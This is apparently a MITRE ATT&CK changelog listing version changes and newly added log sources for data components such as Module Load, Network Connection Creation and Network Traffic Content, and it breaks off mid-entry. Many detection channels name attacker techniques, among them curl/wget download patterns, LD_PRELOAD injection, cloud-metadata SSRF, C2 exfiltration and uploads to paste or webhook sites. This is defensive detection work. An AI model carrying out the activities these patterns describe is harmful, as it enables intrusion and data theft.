STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:39:59.118000+00:00	2025-10-21 15:14:36.246000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0011] Malware Content

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0011', 'external_id': 'DC0011'}]
x_mitre_log_sources		[{'name': 'Malware Repository', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--b86d9b40-5fbe-4ef1-8dc3-263eff26f495

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:16:12.329000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0

[DC0003] Malware Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0003', 'external_id': 'DC0003'}]
x_mitre_log_sources		[{'name': 'Malware Repository', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--b86d9b40-5fbe-4ef1-8dc3-263eff26f495

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:16:09.096000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0016] Module Load

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0016', 'external_id': 'DC0016'}]
x_mitre_log_sources		[{'name': 'Module', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=7'}, {'name': 'ETW:LoadImage', 'channel': 'provider: ETW LoadImage events for images from user-writable/UNC paths'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/mmap: Open/mmap .so files from non-standard paths'}, {'name': 'linux:osquery', 'channel': "select: Open files path LIKE '/tmp/%.so' OR '/dev/shm/%.so'"}, {'name': 'macos:unifiedlog', 'channel': 'dyld/unified log entries indicating image load from non-system paths'}, {'name': 'macos:osquery', 'channel': "select: path LIKE '%/Library/%/.dylib' OR '/tmp/.dylib'"}, {'name': 'macos:unifiedlog', 'channel': 'dynamic loading of sleep-related functions or sandbox detection libraries'}, {'name': 'auditd:SYSCALL', 'channel': 'LD_PRELOAD Logging'}, {'name': 'linux:osquery', 'channel': 'Dynamic Linking State'}, {'name': 'macos:unifiedlog', 'channel': 'DYLD event subsystem'}, {'name': 'linux:osquery', 'channel': 'Process linked with libcrypto.so making external connections'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events with dylib load activity'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=7'}, {'name': 'WinEventLog:Application', 'channel': 'CLR Assembly creation, loading, or modification logs via MSSQL CLR integration'}, {'name': 'macos:unifiedlog', 'channel': 'Process memory maps new dylib (dylib_load event)'}, {'name': 'macos:unifiedlog', 'channel': 'Dylib loaded from abnormal location'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=3033'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=3063'}, {'name': 'auditd:MMAP', 'channel': 'load: Loading of libzip.so, libz.so, or libbz2.so by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'Loading of libz.dylib, libarchive.dylib by non-standard applications'}, {'name': 'macos:unifiedlog', 'channel': 'suspicious dlopen/dlsym usage in non-development processes'}, {'name': 'm365:unified', 'channel': 'Non-standard Office startup component detected (e.g., unexpected DLL path)'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap'}, {'name': 'esxi:vmkernel', 'channel': 'unexpected module load'}, {'name': 'snmp:status', 'channel': 'Status change in cryptographic hardware modules (enabled -> disabled)'}, {'name': 'esxi:vmkernel', 'channel': 'module load'}, {'name': 'macos:unifiedlog', 'channel': 'delay/sleep library usage in user context'}, {'name': 'linux:syslog', 'channel': 'kmod'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.kextd'}, {'name': 'macos:unifiedlog', 'channel': 'loading of unexpected dylibs compared to historical baselines'}, {'name': 'auditd:file-events', 'channel': 'open of suspicious .so from non-standard paths'}, {'name': 'macos:syslog', 'channel': 'DYLD_INSERT_LIBRARIES anomalies'}, {'name': 'auditd:SYSCALL', 'channel': 'dmesg'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_KEXTLOAD'}, {'name': 'auditd:SYSCALL', 'channel': 'module load or memory map path'}, {'name': 'macos:unifiedlog', 'channel': 'launch and dylib load'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl/libcrypto performing network activity'}, {'name': 'etw:Microsoft-Windows-Kernel-ImageLoad', 'channel': 'provider: Unsigned/user-writable image loads into msbuild.exe'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--f424e4b4-a8a4-4c58-a4ae-4f53bfd08563

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:16.486000+00:00	2025-10-21 15:14:35.471000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0048] Named Pipe Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0048', 'external_id': 'DC0048'}]
x_mitre_log_sources		[{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=17'}, {'name': 'macos:unifiedlog', 'channel': 'XPC messages requesting privileged actions from untrusted or unsigned clients'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--221adcd5-cccf-44df-9be6-ef607a6e1c3c

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:14:42.887000+00:00	2025-10-21 15:14:39.039000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0082] Network Connection Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0082', 'external_id': 'DC0082'}]
x_mitre_log_sources		[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connection to 169.254.169.254 from EC2 workload'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:unifiedlog', 'channel': 'connection attempts'}, {'name': 'esxi:hostd', 'channel': 'System service interactions'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3, 22'}, {'name': 'NSM:Connections', 'channel': 'web domain alerts'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=22'}, {'name': 'auditd:SYSCALL', 'channel': 'connect'}, {'name': 'auditd:SYSCALL', 'channel': 'netconnect'}, {'name': 'macos:osquery', 'channel': 'process_events/socket_events'}, {'name': 'NSM:Firewall', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'connection open'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline'}, {'name': 'NSM:Flow', 'channel': 'New TCP/443 or TCP/80 to domain not previously seen for the user/host'}, {'name': 'NSM:Connections', 'channel': 'New outbound connection from Safari/Chrome/Firefox/Word'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect'}, {'name': 'macos:osquery', 'channel': 'execution of trusted tools interacting with external endpoints'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=22'}, {'name': 'WinEventLog:Microsoft-Windows-Bits-Client/Operational', 'channel': 'BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields'}, {'name': 'NSM:Firewall', 'channel': 'proxy or TLS inspection logs'}, {'name': 'macos:unifiedlog', 'channel': 'network connection events'}, {'name': 'esxi:vmkernel', 'channel': 'protocol egress'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to .tunnels.api.visualstudio.com or .devtunnels.ms'}, {'name': 'NSM:Flow', 'channel': 'Connections to .devtunnels.ms or tunnels.api.visualstudio.com'}, {'name': 'NSM:Flow', 'channel': 'HTTPs connection to tunnels.api.visualstudio.com'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156,5157'}, {'name': 'linux:osquery', 'channel': 'family=AF_PACKET or protocol raw; process name not in allowlist.'}, {'name': 'macos:unifiedlog', 'channel': 'First outbound connection from the same PID/user shortly after an inbound trigger.'}, {'name': 'NSM:Flow', 'channel': 'Outbound or inbound TFTP file transfers of ROMMON or firmware binaries'}, {'name': 'NSM:Connections', 'channel': 'Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports'}, {'name': 'NSM:Flow', 'channel': 'connection: TCP connections to ports 139/445 to multiple hosts'}, {'name': 'NSM:Flow', 'channel': 'connection: SMB connections to multiple internal hosts'}, {'name': 'auditd:SYSCALL', 'channel': 'connect/sendto'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CONNECT'}, {'name': 'snmp:access', 'channel': 'GETBULK/GETNEXT requests for OIDs associated with configuration parameters'}, {'name': 'esxi:hostd', 'channel': 'Service initiated connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large transfer volume (>20MB) from RDS IP range to external public IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High outbound traffic from new region resource'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S initiated by newly installed interpreter process'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect syscalls on /tmp/ssh- or $SSH_AUTH_SOCK'}, {'name': 'NSM:Flow', 'channel': 'outbound connections to RMM services or to unusual destination ports'}, {'name': 'macos:unifiedlog', 'channel': 'network sessions initiated by remote desktop apps'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connections to port 22, 3389'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect with TLS context by unexpected process'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port."}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: New bind() to a previously closed port shortly after the sequence.'}, {'name': 'NSM:Flow', 'channel': 'Sequence of REJ/S0 then SF success from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic spike through formerly blocked ports/subnets following config change'}, {'name': 'cni:netflow', 'channel': 'outbound connection to internal or external APIs'}, {'name': 'macos:osquery', 'channel': 'launchd or network_events'}, {'name': 'networkdevice:syslog', 'channel': 'Dynamic route changes'}, {'name': 'NSM:Flow', 'channel': 'New egress to Internet by the same UID/host shortly after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'connection: Inbound connections to SSH or VPN ports'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound connections to VNC/SSH ports'}, {'name': 'NSM:Flow', 'channel': 'External access to container ports (2375, 6443)'}, {'name': 'linux:syslog', 'channel': 'network'}, {'name': 'macos:osquery', 'channel': 'process_events + launchd'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log or /var/log/vmksummary.log'}, {'name': 'ebpf:syscalls', 'channel': 'socket connect'}, {'name': 'NSM:Flow', 'channel': 'remote access'}, {'name': 'NSM:Flow', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'network'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic observed on mirror destination instance'}, {'name': 'networkdevice:Flow', 'channel': 'Traffic from mirrored interface to mirror target IP'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:osquery', 'channel': 'process_events, socket_events'}, {'name': 'esxi:vmkernel', 'channel': 'network activity'}, {'name': 'NSM:Flow', 'channel': 'connection attempts'}, {'name': 'NSM:Flow', 'channel': 'High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs'}, {'name': 'auditd:SYSCALL', 'channel': 'sendto/connect'}, {'name': 'NSM:Flow', 'channel': 'outbound connections from host during or immediately after image build'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound Traffic'}, {'name': 'esxi:hostd', 'channel': 'Service-Based Network Connection'}, {'name': 'linux:syslog', 'channel': 'postfix/smtpd'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from browser/office lineage'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from exploited lineage'}, {'name': 'macos:osquery', 'channel': 'CONNECT: Long-lived connections from remote-control parents to external IPs/domains'}, {'name': 'auditd:SYSCALL', 'channel': 'outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or socket'}, {'name': 'macos:unifiedlog', 'channel': 'log stream network activity'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock"}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: Process binds to a new local port shortly after knock'}, {'name': 'NSM:Flow', 'channel': 'Closed-port hits followed by success from same src_ip'}, {'name': 'NSM:Flow', 'channel': 'Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock'}, {'name': 'WinEventLog:Microsoft-Windows-WLAN-AutoConfig', 'channel': '8001, 8002, 8003'}, {'name': 'linux:syslog', 'channel': 'New Wi-Fi connection established or repeated association failures'}, {'name': 'macos:unifiedlog', 'channel': 'Association and authentication events including failures and new SSIDs'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect calls showing SSH processes forwarding arbitrary ports'}, {'name': 'esxi:vmkernel', 'channel': 'network session initiation with external HTTPS services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=8001'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'openat,connect -k discovery'}, {'name': 'NSM:Flow', 'channel': 'Unexpected inbound/outbound TFTP traffic for device image files'}, {'name': 'NSM:Flow', 'channel': 'Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:23.639000+00:00	2025-10-21 15:14:34.190000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0

[DC0102] Network Share Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0102', 'external_id': 'DC0102'}]
x_mitre_log_sources		[{'name': 'Network Share', 'channel': 'None'}, {'name': 'WinEventLog:Microsoft-Windows-SMBClient/Security', 'channel': 'EventID=31001'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5140'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5145'}, {'name': 'WinEventLog:Microsoft-Windows-SMBServer', 'channel': 'Access to SYSVOL share from non-admin user or unusual endpoints'}, {'name': 'NSM:Flow', 'channel': 'smb_files.log'}, {'name': 'm365:unified', 'channel': 'FileUploaded, FileAccessed'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--ba27545a-9c32-47ea-ba6a-cce50f1b326e

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:01.621000+00:00	2025-10-21 15:14:37.412000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0085] Network Traffic Content

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0085', 'external_id': 'DC0085'}]
x_mitre_log_sources		[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'ebpf:syscalls', 'channel': 'Process within container accesses link-local address 169.254.169.254'}, {'name': 'WebProxy:AccessLogs', 'channel': 'SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log / xmpp.log (custom log feeds)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log or AMQP custom log'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log, xmpp.log, amqp.log'}, {'name': 'networkdevice:syslog', 'channel': 'ACL/Firewall rule modification or new route injection'}, {'name': 'm365:office', 'channel': 'External HTTP/DNS connection from Office binary shortly after macro trigger'}, {'name': 'NSM:Flow', 'channel': 'TCP/UDP'}, {'name': 'NSM:Flow', 'channel': 'TCP session tracking'}, {'name': 'NSM:Flow', 'channel': 'Captured packet payloads'}, {'name': 'NSM:Flow', 'channel': 'session behavior'}, {'name': 'esxi:vmkernel', 'channel': 'Network activity'}, {'name': 'NSM:Flow', 'channel': 'External C2 channel over TLS'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Inbound/outbound transfer of ELF shared objects'}, {'name': 'NSM:Flow', 'channel': 'http.log, files.log'}, {'name': 'NSM:Flow', 'channel': 'unexpected network activity initiated shortly after shell session starts'}, {'name': 'NSM:Flow', 'channel': 'HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log'}, {'name': 'NSM:Flow', 'channel': 'http.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'SPAN or port-mirrored HTTP/S'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log, websocket.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network metrics correlation for bandwidth saturation'}, {'name': 'docker:stats', 'channel': 'unusual network TX/RX byte deltas'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'HTTPS Inspection'}, {'name': 'NSM:Flow', 'channel': 'ssl.log'}, {'name': 'linux:syslog', 'channel': 'Query to suspicious domain with high entropy or low reputation'}, {'name': 'macos:unifiedlog', 'channel': 'DNS query with pseudo-random subdomain patterns'}, {'name': 'azure:vpcflow', 'channel': 'HTTP requests to 169.254.169.254 or Azure Metadata endpoints'}, {'name': 'NSM:Flow', 'channel': 'Browser connections to known C2 or dynamic DNS domains'}, {'name': 'NSM:Flow', 'channel': 'Session History Reset'}, {'name': 'NSM:Flow', 'channel': 'HTTP '}, {'name': 'macos:unifiedlog', 'channel': 'network flow'}, {'name': 'linux:syslog', 'channel': 'curl\|wget\|python .http'}, {'name': 'macos:unifiedlog', 'channel': 'curl\|osascript.open location'}, {'name': 'NSM:Flow', 'channel': 'query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes'}, {'name': 'etw:Microsoft-Windows-NDIS-PacketCapture', 'channel': 'TLS Handshake/Network Flow'}, {'name': 'NSM:Flow', 'channel': 'HTTP/TLS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.network'}, {'name': 'linux:syslog', 'channel': 'Unexpected SQL or application log entries showing tampered or malformed data'}, {'name': 'EDR:hunting', 'channel': 'Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, URL shorteners'}, {'name': 'macos:unifiedlog', 'channel': 'open URL\|clicked link\|LSQuarantineAttach'}, {'name': 'NSM:Flow', 'channel': 'Suspicious GET/POST; downloader patterns'}, {'name': 'NSM:Flow', 'channel': 'SSH logins or scp activity'}, {'name': 'NSM:Flow', 'channel': 'remote login and transfer'}, {'name': 'esxi:vob', 'channel': 'NFS/remote access logs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic between instances'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=5005 (WLAN), EventCode=302 (Bluetooth)'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Suspicious long-lived or reattached remote desktop sessions from unexpected IPs'}, {'name': 'NSM:Flow', 'channel': 'HTTP payloads with SQLi/LFI/JNDI/deserialization indicators'}, {'name': 'NSM:Flow', 'channel': 'outbound egress from web host after suspicious request'}, {'name': 'NSM:Flow', 'channel': 'Requests towards cloud metadata or command & control from pod IPs'}, {'name': 'ALB:HTTPLogs', 'channel': 'AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts'}, {'name': 'NSM:Flow', 'channel': 'Connections to TCP 427 (SLP) or vCenter web services from untrusted sources'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow for odd egress to Internet from mgmt plane'}, {'name': 'NSM:Flow', 'channel': 'packet capture or DPI logs'}, {'name': 'NSM:Flow', 'channel': 'http.log'}, {'name': 'NSM:Flow', 'channel': 'SMB2_LOGOFF/SMB_TREE_DISCONNECT'}, {'name': 'macos:unifiedlog', 'channel': 'Connections to suspicious domains with mismatched certificate or unusual patterns'}, {'name': 'NSM:Flow', 'channel': 'Unusual Base64-encoded content in URI, headers, or POST body'}, {'name': 'NSM:Flow', 'channel': 'Base64 strings or gzip in URI, headers, or POST body'}, {'name': 'macos:unifiedlog', 'channel': 'HTTP POST with encoded content in user-agent or cookie field'}, {'name': 'esxi:vmkernel', 'channel': 'Outbound traffic using encoded payloads post-login'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval.'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to 22/5900/8080 and follow-on internal connections.'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body contains long Base64 sections'}, {'name': 'NSM:Flow', 'channel': 'http: Base64/MIME looking payloads from ESXi host IP'}, {'name': 'NSM:Flow', 'channel': 'LDAP Bind/Search'}, {'name': 'NSM:Flow', 'channel': 'LDAP Query'}, {'name': 'macos:unifiedlog', 'channel': 'log stream (subsystem: com.apple.system.networking)'}, {'name': 'NSM:Flow', 'channel': 'smtp.log'}, {'name': 'NSM:Flow', 'channel': 'smtp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'remote CLI session detection'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted connection with anomalous payload entropy'}, {'name': 'esxcli:network', 'channel': 'Socket sessions with randomized payloads inconsistent with TLS'}, {'name': 'NSM:Connections', 'channel': 'Symmetric encryption detected without TLS handshake sequence'}, {'name': 'NSM:Flow', 'channel': 'http.log, ftp.log'}, {'name': 'NSM:Flow', 'channel': 'PCAP inspection'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to webhook endpoints'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to webhook endpoints'}, {'name': 'NSM:Flow', 'channel': 'Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed ≤TimeWindow by outbound SF from same host to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Inbound one-off packet to uncommon port → outbound SF to same src_ip within TimeWindow.'}, {'name': 'networkdevice:config', 'channel': 'NAT table modification (add/update/delete rule)'}, {'name': 'NSM:Flow', 'channel': 'large upload to firmware interface port or path'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid incoming TLS handshakes or HTTP requests in quick succession'}, {'name': 'NSM:Flow', 'channel': 'http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources'}, {'name': 'NSM:Flow', 'channel': 'http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains'}, {'name': 'NSM:Flow', 'channel': 'HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)'}, {'name': 'NSM:Connections', 'channel': 'TLS handshake + HTTP headers'}, {'name': 'NSM:Flow', 'channel': 'ssl.log + http.log'}, {'name': 'macos:unifiedlog', 'channel': 'network, socket, and http logs'}, {'name': 'NSM:Firewall', 'channel': 'TLS/HTTP inspection'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Outbound transfer of large video-like MIME types soon after capture'}, {'name': 'container:proxy', 'channel': 'outbound/inbound network activity from spawned pods'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound to non-standard ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound SCP, TFTP, or FTP sessions carrying configuration file content'}, {'name': 'NSM:Flow', 'channel': 'Session Transfer Content'}, {'name': 'NSM:Flow', 'channel': 'Captured File Content'}, {'name': 'NSM:Flow', 'channel': 'C2 exfiltration'}, {'name': 'NSM:Flow', 'channel': 'Transferred file observations'}, {'name': 'apache:access_log', 'channel': "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"}, {'name': 'NSM:Flow', 'channel': 'http::post: Outbound HTTP POST from host shortly after DB export activity'}, {'name': 'NSM:Flow', 'channel': 'HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage'}, {'name': 'NSM:Flow', 'channel': 'Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions'}, {'name': 'NSM:Flow', 'channel': 'New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs'}, {'name': 'NSM:Flow', 'channel': 'New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot'}, {'name': 'docker:events', 'channel': 'remote API calls to /containers/create or /containers/{id}/start'}, {'name': 'NSM:Flow', 'channel': 'http::request: Network connection to package registry or C2 from interpreter shortly after install'}, {'name': 'linux:syslog', 'channel': 'Integrity mismatch warnings or malformed packets detected'}, {'name': 'NSM:Flow', 'channel': 'http::request: Outbound HTTP initiated by Python interpreter'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Outbound requests with forged tokens/cookies in headers'}, {'name': 'linux:syslog', 'channel': 'DNS response IPs followed by connections to non-standard calculated ports'}, {'name': 'macos:unifiedlog', 'channel': 'DNS responses followed by connections to ports outside standard ranges'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound traffic to mining domains'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted session initiation by unexpected binary'}, {'name': 'esxi:vmkernel', 'channel': 'Inspection of sockets showing encrypted sessions from non-baseline processes'}, {'name': 'NSM:Connections', 'channel': 'Abnormal certificate chains or non-standard ports carrying TLS'}, {'name': 'NSM:Flow', 'channel': 'DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs.'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to text storage domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to pastebin-like domains'}, {'name': 'NSM:Flow', 'channel': 'Unexpected ARP replies or DNS responses inconsistent with authoritative servers'}, {'name': 'NSM:Flow', 'channel': 'TLS downgrade or inconsistent DNS answers'}, {'name': 'NSM:Flow', 'channel': 'Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large volume of malformed or synthetic payloads to application endpoints prior to failure'}, {'name': 'networkconfig ', 'channel': 'interface flag PROMISC, netstat \| ip link \| ethtool'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'promiscuous'"}, {'name': 'networkdevice:syslog', 'channel': 'config change (e.g., logging buffered, pcap buffers)'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to code repository APIs'}, {'name': 'azure:activity', 'channel': 'networkInsightsLogs'}, {'name': 'gcp:audit', 'channel': 'network.query*'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Unusual external domain access'}, {'name': 'NSM:Flow', 'channel': 'conn.log or http.log'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs'}, {'name': 'NSM:Flow', 'channel': 'dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently'}, {'name': 'NSM:Flow', 'channel': 'http: suspicious long tokens with custom alphabets in body/headers'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies from ESXi host IPs containing long, non-standard tokens'}, {'name': 'NSM:Flow', 